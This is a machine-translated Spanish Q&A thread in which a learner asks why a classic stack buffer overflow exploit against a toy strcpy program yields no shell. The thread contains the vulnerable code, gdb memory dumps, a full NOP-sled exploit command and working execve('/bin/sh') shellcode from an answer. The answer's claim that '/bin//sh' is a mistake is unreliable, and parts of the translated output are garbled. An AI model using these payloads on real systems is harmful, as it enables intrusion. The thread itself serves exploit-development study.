Desbordamiento de búfer no funciona?

-1

Básicamente estoy tratando de explotar un desbordamiento de búfer, pero desafortunadamente no puedo obtener shell.

Script buf.c :

#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
    char buf[500];
    strcpy(buf, argv[1]);
    printf("Entered: %s\n", buf);
    return 0;
}

compilando de la siguiente manera:

gcc -g buf.c -o buf --no-stack-protector

así que precisamente el $ebp se desborda en 516 bytes, ¿cómo lo descubrí, dices? abajo:

gdb:

run $(python -c "print('A'*516)")

a partir de 500 bytes hasta que obtenga 0x41414141 :

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

el punto de inicio de buffer en $esp es 0xbffff02c :

a continuación es cómo lo descubrí:

(gdb) disass main
 Dump of assembler code for function main:
 0x0804844d <+0>:   push   %ebp
 0x0804844e <+1>:   mov    %esp,%ebp
 0x08048450 <+3>:   and    $0xfffffff0,%esp
 0x08048453 <+6>:   sub    $0x210,%esp
 0x08048459 <+12>:  mov    0xc(%ebp),%eax
 0x0804845c <+15>:  add    $0x4,%eax
 0x0804845f <+18>:  mov    (%eax),%eax
 0x08048461 <+20>:  mov    %eax,0x4(%esp)
 0x08048465 <+24>:  lea    0x1c(%esp),%eax
 0x08048469 <+28>:  mov    %eax,(%esp)
 0x0804846c <+31>:  call   0x8048320 <strcpy@plt>
 0x08048471 <+36>:  lea    0x1c(%esp),%eax
 0x08048475 <+40>:  mov    %eax,0x4(%esp)
 0x08048479 <+44>:  movl   $0x8048520,(%esp)
 0x08048480 <+51>:  call   0x8048310 <printf@plt>
 0x08048485 <+56>:  mov    $0x0,%eax
 0x0804848a <+61>:  leave  
 0x0804848b <+62>:  ret    
End of assembler dump.

así que hice un punto de interrupción en break *0x08048475

y luego ejecutó el programa como:

run $(python -c "print('A'*516)")

y luego:

(gdb) x/200wx $esp

   0xbffff010:  0xbffff02c  0xbffff436  0x00000001  0x00000000
   0xbffff020:  0x00000001  0xb7fdc1b0  0xb7fff000  0x41414141
   0xbffff030:  0x41414141  0x41414141  0x41414141  0x41414141
   0xbffff040:  0x41414141  0x41414141  0x41414141  0x41414141
   0xbffff050:  0x41414141  0x41414141  0x41414141  0x41414141
   0xbffff060:  0x41414141  0x41414141  0x41414141  0x41414141
   0xbffff070:  0x41414141  0x41414141  0x41414141  0x41414141
   0xbffff080:  0x41414141  0x41414141  0x41414141  0x41414141

   ... more

como puede ver, el punto de inicio de buffer es 0xbffff02c .

mi shellcode es:

\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a
\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68

lo obtuvo de: enlace

que es de 34 bytes

entonces 516-34 = 482

y finalmente el exploit:

run $(python -c "print('\x90'*482+'\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68'+'\x2c\xf0\xff\xbf')")

y me sale:

  

Programa de inicio: / home / pt / buf $ (python -c "print ('\ x90' * 482 + '\ x01 \ x30 \ x8f \ xe \ x13 \ xff \ x2f \ xe1 \ x78 \ x46 \ x0e \ x30 \ x01 \ x90 \ x49 \ x1a \ x92 \ x1a \ x08 \ x27 \ xc2 \ x51 \ x03 \ x37 \ x01 \ xdf \ x2f \ x62 \ x69 \ x6e \ x2f \ x2f \ x73 \ x68 '+' \ x2c \ xf0 \ xff \ xbf ') ")   Entró: 0 / xF0 I ' Q7 / bin // sh,

     

Señal recibida programa SIGSEGV, fallo de segmentación.   0x68732f2f en ?? ()

Lamentablemente no hay shell :(

mi versión de linux: Linux BackboxPTv1 3.11.0-15-generic #23~precise1-Ubuntu SMP Tue Dec 10 16:43:53 UTC 2013 i686 i686 i686 GNU/Linux

    
pregunta woopi 15.12.2018 - 01:38
fuente

2 respuestas

2

mirando el resultado de tu shellcode:

  

xF0 I ' Q7 / bin // sh,

¿por qué hay dos // después de bin. normalmente debería ser / bin / sh,

Probé tu código con otro código shell y funcionó.

prueba con este. es de 46 bytes

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
    
respondido por el Bahha 23.12.2018 - 14:40
fuente
0

Fuera de las direcciones de memoria gdb cambian. Puede haber protección ASLR y, por ello, la dirección a la que intenta acceder desde gdb no es válida ahora. O si NX está habilitado, tu pila no es ejecutable en absoluto

    
respondido por el George Sp 23.12.2018 - 16:02
fuente

Lea otras preguntas en las etiquetas